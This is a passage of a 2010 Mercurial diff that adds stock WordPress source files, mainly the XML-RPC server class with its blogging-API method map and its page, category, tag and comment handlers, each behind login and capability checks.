'trackback'; + + $dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) ); + if ( $dupe ) + trackback_response(1, 'We already have a ping from that URL for this post.'); + + $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type'); + + wp_new_comment($commentdata); + + do_action('trackback_post', $wpdb->insert_id); + trackback_response(0); +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/xmlrpc.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/xmlrpc.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3428 @@ + + * @package WordPress + */ + +/** + * Whether this is a XMLRPC Request + * + * @var bool + */ +define('XMLRPC_REQUEST', true); + +// Some browser-embedded clients send cookies. We don't want them. +$_COOKIE = array(); + +// A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default, +// but we can do it ourself. +if ( !isset( $HTTP_RAW_POST_DATA ) ) { + $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); +} + +// fix for mozBlog and other cases where ' +'; ?> + + + WordPress + http://wordpress.org/ + + + + + + + + + + +methods = array( + // WordPress API + 'wp.getUsersBlogs' => 'this:wp_getUsersBlogs', + 'wp.getPage' => 'this:wp_getPage', + 'wp.getPages' => 'this:wp_getPages', + 'wp.newPage' => 'this:wp_newPage', + 'wp.deletePage' => 'this:wp_deletePage', + 'wp.editPage' => 'this:wp_editPage', + 'wp.getPageList' => 'this:wp_getPageList', + 'wp.getAuthors' => 'this:wp_getAuthors', + 'wp.getCategories' => 'this:mw_getCategories', // Alias + 'wp.getTags' => 'this:wp_getTags', + 'wp.newCategory' => 'this:wp_newCategory', + 'wp.deleteCategory' => 'this:wp_deleteCategory', + 'wp.suggestCategories' => 'this:wp_suggestCategories', + 'wp.uploadFile' => 'this:mw_newMediaObject', // Alias + 'wp.getCommentCount' => 'this:wp_getCommentCount', + 'wp.getPostStatusList' => 'this:wp_getPostStatusList', + 'wp.getPageStatusList' => 'this:wp_getPageStatusList', + 'wp.getPageTemplates' => 'this:wp_getPageTemplates', + 'wp.getOptions' => 'this:wp_getOptions', + 'wp.setOptions' => 'this:wp_setOptions', + 'wp.getComment' => 'this:wp_getComment', + 'wp.getComments' => 'this:wp_getComments', + 'wp.deleteComment' => 'this:wp_deleteComment', + 'wp.editComment' => 'this:wp_editComment', + 'wp.newComment' => 'this:wp_newComment', + 'wp.getCommentStatusList' => 'this:wp_getCommentStatusList', + + // Blogger API + 'blogger.getUsersBlogs' => 'this:blogger_getUsersBlogs', + 'blogger.getUserInfo' => 'this:blogger_getUserInfo', + 'blogger.getPost' => 'this:blogger_getPost', + 'blogger.getRecentPosts' => 'this:blogger_getRecentPosts', + 'blogger.getTemplate' => 'this:blogger_getTemplate', + 'blogger.setTemplate' => 'this:blogger_setTemplate', + 'blogger.newPost' => 'this:blogger_newPost', + 'blogger.editPost' => 'this:blogger_editPost', + 'blogger.deletePost' => 'this:blogger_deletePost', + + // MetaWeblog API (with MT extensions to structs) + 'metaWeblog.newPost' => 'this:mw_newPost', + 'metaWeblog.editPost' => 'this:mw_editPost', + 'metaWeblog.getPost' => 'this:mw_getPost', + 'metaWeblog.getRecentPosts' => 'this:mw_getRecentPosts', + 'metaWeblog.getCategories' => 'this:mw_getCategories', + 'metaWeblog.newMediaObject' => 'this:mw_newMediaObject', + + // MetaWeblog API aliases for Blogger API + // see http://www.xmlrpc.com/stories/storyReader$2460 + 'metaWeblog.deletePost' => 'this:blogger_deletePost', + 'metaWeblog.getTemplate' => 'this:blogger_getTemplate', + 'metaWeblog.setTemplate' => 'this:blogger_setTemplate', + 'metaWeblog.getUsersBlogs' => 'this:blogger_getUsersBlogs', + + // MovableType API + 'mt.getCategoryList' => 'this:mt_getCategoryList', + 'mt.getRecentPostTitles' => 'this:mt_getRecentPostTitles', + 'mt.getPostCategories' => 'this:mt_getPostCategories', + 'mt.setPostCategories' => 'this:mt_setPostCategories', + 'mt.supportedMethods' => 'this:mt_supportedMethods', + 'mt.supportedTextFilters' => 'this:mt_supportedTextFilters', + 'mt.getTrackbackPings' => 'this:mt_getTrackbackPings', + 'mt.publishPost' => 'this:mt_publishPost', + + // PingBack + 'pingback.ping' => 'this:pingback_ping', + 'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks', + + 'demo.sayHello' => 'this:sayHello', + 'demo.addTwoNumbers' => 'this:addTwoNumbers' + ); + + $this->initialise_blog_option_info( ); + $this->methods = apply_filters('xmlrpc_methods', $this->methods); + } + + function serve_request() { + $this->IXR_Server($this->methods); + } + + /** + * Test XMLRPC API by saying, "Hello!" to client. + * + * @since 1.5.0 + * + * @param array $args Method Parameters. + * @return string + */ + function sayHello($args) { + return 'Hello!'; + } + + /** + * Test XMLRPC API by adding two numbers for client. + * + * @since 1.5.0 + * + * @param array $args Method Parameters. + * @return int + */ + function addTwoNumbers($args) { + $number1 = $args[0]; + $number2 = $args[1]; + return $number1 + $number2; + } + + /** + * Check user's credentials. + * + * @since 1.5.0 + * + * @param string $user_login User's username. + * @param string $user_pass User's password. + * @return bool Whether authentication passed. + * @deprecated use wp_xmlrpc_server::login + * @see wp_xmlrpc_server::login + */ + function login_pass_ok($user_login, $user_pass) { + if ( !get_option( 'enable_xmlrpc' ) ) { + $this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this blog. An admin user can enable them at %s'), admin_url('options-writing.php') ) ); + return false; + } + + if (!user_pass_ok($user_login, $user_pass)) { + $this->error = new IXR_Error(403, __('Bad login/pass combination.')); + return false; + } + return true; + } + + /** + * Log user in. + * + * @since 2.8 + * + * @param string $username User's username. + * @param string $password User's password. + * @return mixed WP_User object if authentication passed, false otherwise + */ + function login($username, $password) { + if ( !get_option( 'enable_xmlrpc' ) ) { + $this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this blog. An admin user can enable them at %s'), admin_url('options-writing.php') ) ); + return false; + } + + $user = wp_authenticate($username, $password); + + if (is_wp_error($user)) { + $this->error = new IXR_Error(403, __('Bad login/pass combination.')); + return false; + } + + set_current_user( $user->ID ); + return $user; + } + + /** + * Sanitize string or array of strings for database. + * + * @since 1.5.2 + * + * @param string|array $array Sanitize single string or array of strings. + * @return string|array Type matches $array and sanitized for the database. + */ + function escape(&$array) { + global $wpdb; + + if(!is_array($array)) { + return($wpdb->escape($array)); + } + else { + foreach ( (array) $array as $k => $v ) { + if (is_array($v)) { + $this->escape($array[$k]); + } else if (is_object($v)) { + //skip + } else { + $array[$k] = $wpdb->escape($v); + } + } + } + } + + /** + * Retrieve custom fields for post. + * + * @since 2.5.0 + * + * @param int $post_id Post ID. + * @return array Custom fields, if exist. + */ + function get_custom_fields($post_id) { + $post_id = (int) $post_id; + + $custom_fields = array(); + + foreach ( (array) has_meta($post_id) as $meta ) { + // Don't expose protected fields. + if ( strpos($meta['meta_key'], '_wp_') === 0 ) { + continue; + } + + $custom_fields[] = array( + "id" => $meta['meta_id'], + "key" => $meta['meta_key'], + "value" => $meta['meta_value'] + ); + } + + return $custom_fields; + } + + /** + * Set custom fields for post. + * + * @since 2.5.0 + * + * @param int $post_id Post ID. + * @param array $fields Custom fields. + */ + function set_custom_fields($post_id, $fields) { + $post_id = (int) $post_id; + + foreach ( (array) $fields as $meta ) { + if ( isset($meta['id']) ) { + $meta['id'] = (int) $meta['id']; + + if ( isset($meta['key']) ) { + update_meta($meta['id'], $meta['key'], $meta['value']); + } + else { + delete_meta($meta['id']); + } + } + else { + $_POST['metakeyinput'] = $meta['key']; + $_POST['metavalue'] = $meta['value']; + add_meta($post_id); + } + } + } + + /** + * Setup blog options property. + * + * Passes property through 'xmlrpc_blog_options' filter. + * + * @since 2.6.0 + */ + function initialise_blog_option_info( ) { + global $wp_version; + + $this->blog_options = array( + // Read only options + 'software_name' => array( + 'desc' => __( 'Software Name' ), + 'readonly' => true, + 'value' => 'WordPress' + ), + 'software_version' => array( + 'desc' => __( 'Software Version' ), + 'readonly' => true, + 'value' => $wp_version + ), + 'blog_url' => array( + 'desc' => __( 'Blog URL' ), + 'readonly' => true, + 'option' => 'siteurl' + ), + + // Updatable options + 'time_zone' => array( + 'desc' => __( 'Time Zone' ), + 'readonly' => false, + 'option' => 'gmt_offset' + ), + 'blog_title' => array( + 'desc' => __( 'Blog Title' ), + 'readonly' => false, + 'option' => 'blogname' + ), + 'blog_tagline' => array( + 'desc' => __( 'Blog Tagline' ), + 'readonly' => false, + 'option' => 'blogdescription' + ), + 'date_format' => array( + 'desc' => __( 'Date Format' ), + 'readonly' => false, + 'option' => 'date_format' + ), + 'time_format' => array( + 'desc' => __( 'Time Format' ), + 'readonly' => false, + 'option' => 'time_format' + ), + 'users_can_register' => array( + 'desc' => __( 'Allow new users to sign up' ), + 'readonly' => false, + 'option' => 'users_can_register' + ) + ); + + $this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options ); + } + + /** + * Retrieve the blogs of the user. + * + * @since 2.6.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getUsersBlogs( $args ) { + // If this isn't on WPMU then just use blogger_getUsersBlogs + if( !function_exists( 'is_site_admin' ) ) { + array_unshift( $args, 1 ); + return $this->blogger_getUsersBlogs( $args ); + } + + $this->escape( $args ); + + $username = $args[0]; + $password = $args[1]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action( 'xmlrpc_call', 'wp.getUsersBlogs' ); + + $blogs = (array) get_blogs_of_user( $user->ID ); + $struct = array( ); + + foreach( $blogs as $blog ) { + // Don't include blogs that aren't hosted at this site + if( $blog->site_id != $current_site->id ) + continue; + + $blog_id = $blog->userblog_id; + switch_to_blog($blog_id); + $is_admin = current_user_can('level_8'); + + $struct[] = array( + 'isAdmin' => $is_admin, + 'url' => get_option( 'home' ) . '/', + 'blogid' => $blog_id, + 'blogName' => get_option( 'blogname' ), + 'xmlrpc' => site_url( 'xmlrpc.php' ) + ); + + restore_current_blog( ); + } + + return $struct; + } + + /** + * Retrieve page. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getPage($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $page_id = (int) $args[1]; + $username = $args[2]; + $password = $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_page', $page_id ) ) + return new IXR_Error( 401, __( 'Sorry, you cannot edit this page.' ) ); + + do_action('xmlrpc_call', 'wp.getPage'); + + // Lookup page info. + $page = get_page($page_id); + + // If we found the page then format the data. + if($page->ID && ($page->post_type == "page")) { + // Get all of the page content and link. + $full_page = get_extended($page->post_content); + $link = post_permalink($page->ID); + + // Get info the page parent if there is one. + $parent_title = ""; + if(!empty($page->post_parent)) { + $parent = get_page($page->post_parent); + $parent_title = $parent->post_title; + } + + // Determine comment and ping settings. + $allow_comments = comments_open($page->ID) ? 1 : 0; + $allow_pings = pings_open($page->ID) ? 1 : 0; + + // Format page date. + $page_date = mysql2date("Ymd\TH:i:s", $page->post_date, false); + $page_date_gmt = mysql2date("Ymd\TH:i:s", $page->post_date_gmt, false); + + // For drafts use the GMT version of the date + if ( $page->post_status == 'draft' ) { + $page_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $page->post_date ), 'Ymd\TH:i:s' ); + } + + // Pull the categories info together. + $categories = array(); + foreach(wp_get_post_categories($page->ID) as $cat_id) { + $categories[] = get_cat_name($cat_id); + } + + // Get the author info. + $author = get_userdata($page->post_author); + + $page_template = get_post_meta( $page->ID, '_wp_page_template', true ); + if( empty( $page_template ) ) + $page_template = 'default'; + + $page_struct = array( + "dateCreated" => new IXR_Date($page_date), + "userid" => $page->post_author, + "page_id" => $page->ID, + "page_status" => $page->post_status, + "description" => $full_page["main"], + "title" => $page->post_title, + "link" => $link, + "permaLink" => $link, + "categories" => $categories, + "excerpt" => $page->post_excerpt, + "text_more" => $full_page["extended"], + "mt_allow_comments" => $allow_comments, + "mt_allow_pings" => $allow_pings, + "wp_slug" => $page->post_name, + "wp_password" => $page->post_password, + "wp_author" => $author->display_name, + "wp_page_parent_id" => $page->post_parent, + "wp_page_parent_title" => $parent_title, + "wp_page_order" => $page->menu_order, + "wp_author_id" => $author->ID, + "wp_author_display_name" => $author->display_name, + "date_created_gmt" => new IXR_Date($page_date_gmt), + "custom_fields" => $this->get_custom_fields($page_id), + "wp_page_template" => $page_template + ); + + return($page_struct); + } + // If the page doesn't exist indicate that. + else { + return(new IXR_Error(404, __("Sorry, no such page."))); + } + } + + /** + * Retrieve Pages. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getPages($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $num_pages = isset($args[3]) ? (int) $args[3] : 10; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_pages' ) ) + return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) ); + + do_action('xmlrpc_call', 'wp.getPages'); + + $pages = get_posts( array('post_type' => 'page', 'post_status' => 'any', 'numberposts' => $num_pages) ); + $num_pages = count($pages); + + // If we have pages, put together their info. + if($num_pages >= 1) { + $pages_struct = array(); + + for($i = 0; $i < $num_pages; $i++) { + $page = wp_xmlrpc_server::wp_getPage(array( + $blog_id, $pages[$i]->ID, $username, $password + )); + $pages_struct[] = $page; + } + + return($pages_struct); + } + // If no pages were found return an error. + else { + return(array()); + } + } + + /** + * Create new page. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return unknown + */ + function wp_newPage($args) { + // Items not escaped here will be escaped in newPost. + $username = $this->escape($args[1]); + $password = $this->escape($args[2]); + $page = $args[3]; + $publish = $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'wp.newPage'); + + // Make sure the user is allowed to add new pages. + if(!current_user_can("publish_pages")) { + return(new IXR_Error(401, __("Sorry, you cannot add new pages."))); + } + + // Mark this as content for a page. + $args[3]["post_type"] = "page"; + + // Let mw_newPost do all of the heavy lifting. + return($this->mw_newPost($args)); + } + + /** + * Delete page. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return bool True, if success. + */ + function wp_deletePage($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $page_id = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'wp.deletePage'); + + // Get the current page based on the page_id and + // make sure it is a page and not a post. + $actual_page = wp_get_single_post($page_id, ARRAY_A); + if( + !$actual_page + || ($actual_page["post_type"] != "page") + ) { + return(new IXR_Error(404, __("Sorry, no such page."))); + } + + // Make sure the user can delete pages. + if(!current_user_can("delete_page", $page_id)) { + return(new IXR_Error(401, __("Sorry, you do not have the right to delete this page."))); + } + + // Attempt to delete the page. + $result = wp_delete_post($page_id); + if(!$result) { + return(new IXR_Error(500, __("Failed to delete the page."))); + } + + return(true); + } + + /** + * Edit page. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return unknown + */ + function wp_editPage($args) { + // Items not escaped here will be escaped in editPost. + $blog_id = (int) $args[0]; + $page_id = (int) $this->escape($args[1]); + $username = $this->escape($args[2]); + $password = $this->escape($args[3]); + $content = $args[4]; + $publish = $args[5]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'wp.editPage'); + + // Get the page data and make sure it is a page. + $actual_page = wp_get_single_post($page_id, ARRAY_A); + if( + !$actual_page + || ($actual_page["post_type"] != "page") + ) { + return(new IXR_Error(404, __("Sorry, no such page."))); + } + + // Make sure the user is allowed to edit pages. + if(!current_user_can("edit_page", $page_id)) { + return(new IXR_Error(401, __("Sorry, you do not have the right to edit this page."))); + } + + // Mark this as content for a page. + $content["post_type"] = "page"; + + // Arrange args in the way mw_editPost understands. + $args = array( + $page_id, + $username, + $password, + $content, + $publish + ); + + // Let mw_editPost do all of the heavy lifting. + return($this->mw_editPost($args)); + } + + /** + * Retrieve page list. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return unknown + */ + function wp_getPageList($args) { + global $wpdb; + + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_pages' ) ) + return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) ); + + do_action('xmlrpc_call', 'wp.getPageList'); + + // Get list of pages ids and titles + $page_list = $wpdb->get_results(" + SELECT ID page_id, + post_title page_title, + post_parent page_parent_id, + post_date_gmt, + post_date, + post_status + FROM {$wpdb->posts} + WHERE post_type = 'page' + ORDER BY ID + "); + + // The date needs to be formated properly. + $num_pages = count($page_list); + for($i = 0; $i < $num_pages; $i++) { + $post_date = mysql2date("Ymd\TH:i:s", $page_list[$i]->post_date, false); + $post_date_gmt = mysql2date("Ymd\TH:i:s", $page_list[$i]->post_date_gmt, false); + + $page_list[$i]->dateCreated = new IXR_Date($post_date); + $page_list[$i]->date_created_gmt = new IXR_Date($post_date_gmt); + + // For drafts use the GMT version of the date + if ( $page_list[$i]->post_status == 'draft' ) { + $page_list[$i]->date_created_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $page_list[$i]->post_date ), 'Ymd\TH:i:s' ); + $page_list[$i]->date_created_gmt = new IXR_Date( $page_list[$i]->date_created_gmt ); + } + + unset($page_list[$i]->post_date_gmt); + unset($page_list[$i]->post_date); + unset($page_list[$i]->post_status); + } + + return($page_list); + } + + /** + * Retrieve authors list. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getAuthors($args) { + + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if(!current_user_can("edit_posts")) { + return(new IXR_Error(401, __("Sorry, you cannot edit posts on this blog."))); + } + + do_action('xmlrpc_call', 'wp.getAuthors'); + + $authors = array(); + foreach( (array) get_users_of_blog() as $row ) { + $authors[] = array( + "user_id" => $row->user_id, + "user_login" => $row->user_login, + "display_name" => $row->display_name + ); + } + + return($authors); + } + + /** + * Get list of all tags + * + * @since 2.7 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getTags( $args ) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) { + return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view tags.' ) ); + } + + do_action( 'xmlrpc_call', 'wp.getKeywords' ); + + $tags = array( ); + + if( $all_tags = get_tags( ) ) { + foreach( (array) $all_tags as $tag ) { + $struct['tag_id'] = $tag->term_id; + $struct['name'] = $tag->name; + $struct['count'] = $tag->count; + $struct['slug'] = $tag->slug; + $struct['html_url'] = esc_html( get_tag_link( $tag->term_id ) ); + $struct['rss_url'] = esc_html( get_tag_feed_link( $tag->term_id ) ); + + $tags[] = $struct; + } + } + + return $tags; + } + + /** + * Create new category. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return int Category ID. + */ + function wp_newCategory($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $category = $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'wp.newCategory'); + + // Make sure the user is allowed to add a category. + if(!current_user_can("manage_categories")) { + return(new IXR_Error(401, __("Sorry, you do not have the right to add a category."))); + } + + // If no slug was provided make it empty so that + // WordPress will generate one. + if(empty($category["slug"])) { + $category["slug"] = ""; + } + + // If no parent_id was provided make it empty + // so that it will be a top level page (no parent). + if ( !isset($category["parent_id"]) ) + $category["parent_id"] = ""; + + // If no description was provided make it empty. + if(empty($category["description"])) { + $category["description"] = ""; + } + + $new_category = array( + "cat_name" => $category["name"], + "category_nicename" => $category["slug"], + "category_parent" => $category["parent_id"], + "category_description" => $category["description"] + ); + + $cat_id = wp_insert_category($new_category); + if(!$cat_id) { + return(new IXR_Error(500, __("Sorry, the new category failed."))); + } + + return($cat_id); + } + + /** + * Remove category. + * + * @since 2.5.0 + * + * @param array $args Method parameters. + * @return mixed See {@link wp_delete_category()} for return info. + */ + function wp_deleteCategory($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $category_id = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'wp.deleteCategory'); + + if( !current_user_can("manage_categories") ) { + return new IXR_Error( 401, __( "Sorry, you do not have the right to delete a category." ) ); + } + + return wp_delete_category( $category_id ); + } + + /** + * Retrieve category list. + * + * @since 2.2.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_suggestCategories($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $category = $args[3]; + $max_results = (int) $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) + return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts to this blog in order to view categories.' ) ); + + do_action('xmlrpc_call', 'wp.suggestCategories'); + + $category_suggestions = array(); + $args = array('get' => 'all', 'number' => $max_results, 'name__like' => $category); + foreach ( (array) get_categories($args) as $cat ) { + $category_suggestions[] = array( + "category_id" => $cat->cat_ID, + "category_name" => $cat->cat_name + ); + } + + return($category_suggestions); + } + + /** + * Retrieve comment. + * + * @since 2.7.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getComment($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $comment_id = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if ( !current_user_can( 'moderate_comments' ) ) + return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) ); + + do_action('xmlrpc_call', 'wp.getComment'); + + if ( ! $comment = get_comment($comment_id) ) + return new IXR_Error( 404, __( 'Invalid comment ID.' ) ); + + // Format page date. + $comment_date = mysql2date("Ymd\TH:i:s", $comment->comment_date, false); + $comment_date_gmt = mysql2date("Ymd\TH:i:s", $comment->comment_date_gmt, false); + + if ( '0' == $comment->comment_approved ) + $comment_status = 'hold'; + else if ( 'spam' == $comment->comment_approved ) + $comment_status = 'spam'; + else if ( '1' == $comment->comment_approved ) + $comment_status = 'approve'; + else + $comment_status = $comment->comment_approved; + + $link = get_comment_link($comment); + + $comment_struct = array( + "date_created_gmt" => new IXR_Date($comment_date_gmt), + "user_id" => $comment->user_id, + "comment_id" => $comment->comment_ID, + "parent" => $comment->comment_parent, + "status" => $comment_status, + "content" => $comment->comment_content, + "link" => $link, + "post_id" => $comment->comment_post_ID, + "post_title" => get_the_title($comment->comment_post_ID), + "author" => $comment->comment_author, + "author_url" => $comment->comment_author_url, + "author_email" => $comment->comment_author_email, + "author_ip" => $comment->comment_author_IP, + "type" => $comment->comment_type, + ); + + return $comment_struct; + } + + /** + * Retrieve comments. + * + * @since 2.7.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getComments($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $struct = $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if ( !current_user_can( 'moderate_comments' ) ) + return new IXR_Error( 401, __( 'Sorry, you cannot edit comments.' ) ); + + do_action('xmlrpc_call', 'wp.getComments'); + + if ( isset($struct['status']) ) + $status = $struct['status']; + else + $status = ''; + + $post_id = ''; + if ( isset($struct['post_id']) ) + $post_id = absint($struct['post_id']); + + $offset = 0; + if ( isset($struct['offset']) ) + $offset = absint($struct['offset']); + + $number = 10; + if ( isset($struct['number']) ) + $number = absint($struct['number']); + + $comments = get_comments( array('status' => $status, 'post_id' => $post_id, 'offset' => $offset, 'number' => $number ) ); + $num_comments = count($comments); + + if ( ! $num_comments ) + return array(); + + $comments_struct = array(); + + for ( $i = 0; $i < $num_comments; $i++ ) { + $comment = wp_xmlrpc_server::wp_getComment(array( + $blog_id, $username, $password, $comments[$i]->comment_ID, + )); + $comments_struct[] = $comment; + } + + return $comments_struct; + } + + /** + * Remove comment. + * + * @since 2.7.0 + * + * @param array $args Method parameters. + * @return mixed {@link wp_delete_comment()} + */ + function wp_deleteComment($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $comment_ID = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if ( !current_user_can( 'moderate_comments' ) ) + return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) ); + + do_action('xmlrpc_call', 'wp.deleteComment'); + + if ( ! get_comment($comment_ID) ) + return new IXR_Error( 404, __( 'Invalid comment ID.' ) ); + + return wp_delete_comment($comment_ID); + } + + /** + * Edit comment. + * + * @since 2.7.0 + * + * @param array $args Method parameters. + * @return bool True, on success. + */ + function wp_editComment($args) { + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $comment_ID = (int) $args[3]; + $content_struct = $args[4]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if ( !current_user_can( 'moderate_comments' ) ) + return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) ); + + do_action('xmlrpc_call', 'wp.editComment'); + + if ( ! get_comment($comment_ID) ) + return new IXR_Error( 404, __( 'Invalid comment ID.' ) ); + + if ( isset($content_struct['status']) ) { + $statuses = get_comment_statuses(); + $statuses = array_keys($statuses); + + if ( ! in_array($content_struct['status'], $statuses) ) + return new IXR_Error( 401, __( 'Invalid comment status.' ) ); + $comment_approved = $content_struct['status']; + } + + // Do some timestamp voodoo + if ( !empty( $content_struct['date_created_gmt'] ) ) { + $dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']->getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force + $comment_date = get_date_from_gmt(iso8601_to_datetime($dateCreated)); + $comment_date_gmt = iso8601_to_datetime($dateCreated, GMT); + } + + if ( isset($content_struct['content']) ) + $comment_content = $content_struct['content']; + + if ( isset($content_struct['author']) ) + $comment_author = $content_struct['author']; + + if ( isset($content_struct['author_url']) ) + $comment_author_url = $content_struct['author_url']; + + if ( isset($content_struct['author_email']) ) + $comment_author_email = $content_struct['author_email']; + + // We've got all the data -- post it: + $comment = compact('comment_ID', 'comment_content', 'comment_approved', 'comment_date', 'comment_date_gmt', 'comment_author', 'comment_author_email', 'comment_author_url'); + + $result = wp_update_comment($comment); + if ( is_wp_error( $result ) ) + return new IXR_Error(500, $result->get_error_message()); + + if ( !$result ) + return new IXR_Error(500, __('Sorry, the comment could not be edited. Something wrong happened.')); + + return true; + } + + /** + * Create new comment. + * + * @since 2.7.0 + * + * @param array $args Method parameters. + * @return mixed {@link wp_new_comment()} + */ + function wp_newComment($args) { + global $wpdb; + + $this->escape($args); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $post = $args[3]; + $content_struct = $args[4]; + + $allow_anon = apply_filters('xmlrpc_allow_anonymous_comments', false); + + $user = $this->login($username, $password); + + if ( !$user ) { + $logged_in = false; + if ( $allow_anon && get_option('comment_registration') ) + return new IXR_Error( 403, __( 'You must be registered to comment' ) ); + else if ( !$allow_anon ) + return $this->error; + } else { + $logged_in = true; + } + + if ( is_numeric($post) ) + $post_id = absint($post); + else + $post_id = url_to_postid($post); + + if ( ! $post_id ) + return new IXR_Error( 404, __( 'Invalid post ID.' ) ); + + if ( ! get_post($post_id) ) + return new IXR_Error( 404, __( 'Invalid post ID.' ) ); + + $comment['comment_post_ID'] = $post_id; + + if ( $logged_in ) { + $comment['comment_author'] = $wpdb->escape( $user->display_name ); + $comment['comment_author_email'] = $wpdb->escape( $user->user_email ); + $comment['comment_author_url'] = $wpdb->escape( $user->user_url ); + $comment['user_ID'] = $user->ID; + } else { + $comment['comment_author'] = ''; + if ( isset($content_struct['author']) ) + $comment['comment_author'] = $content_struct['author']; + + $comment['comment_author_email'] = ''; + if ( isset($content_struct['author_email']) ) + $comment['comment_author_email'] = $content_struct['author_email']; + + $comment['comment_author_url'] = ''; + if ( isset($content_struct['author_url']) ) + $comment['comment_author_url'] = $content_struct['author_url']; + + $comment['user_ID'] = 0; + + if ( get_option('require_name_email') ) { + if ( 6 > strlen($comment['comment_author_email']) || '' == $comment['comment_author'] ) + return new IXR_Error( 403, __( 'Comment author name and email are required' ) ); + elseif ( !is_email($comment['comment_author_email']) ) + return new IXR_Error( 403, __( 'A valid email address is required' ) ); + } + } + + $comment['comment_parent'] = isset($content_struct['comment_parent']) ? absint($content_struct['comment_parent']) : 0; + + $comment['comment_content'] = $content_struct['content']; + + do_action('xmlrpc_call', 'wp.newComment'); + + return wp_new_comment($comment); + } + + /** + * Retrieve all of the comment status. + * + * @since 2.7.0 + * + * @param array $args Method parameters. + * @return array + */ + function wp_getCommentStatusList($args) { + $this->escape( $args ); + + $blog_id = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if ( !current_user_can( 'moderate_comments' ) ) + return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) ); + + do_action('xmlrpc_call', 'wp.getCommentStatusList'); + + return get_comment_statuses( ); + } + + /** + * Retrieve comment count. + * + * @since 2.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function 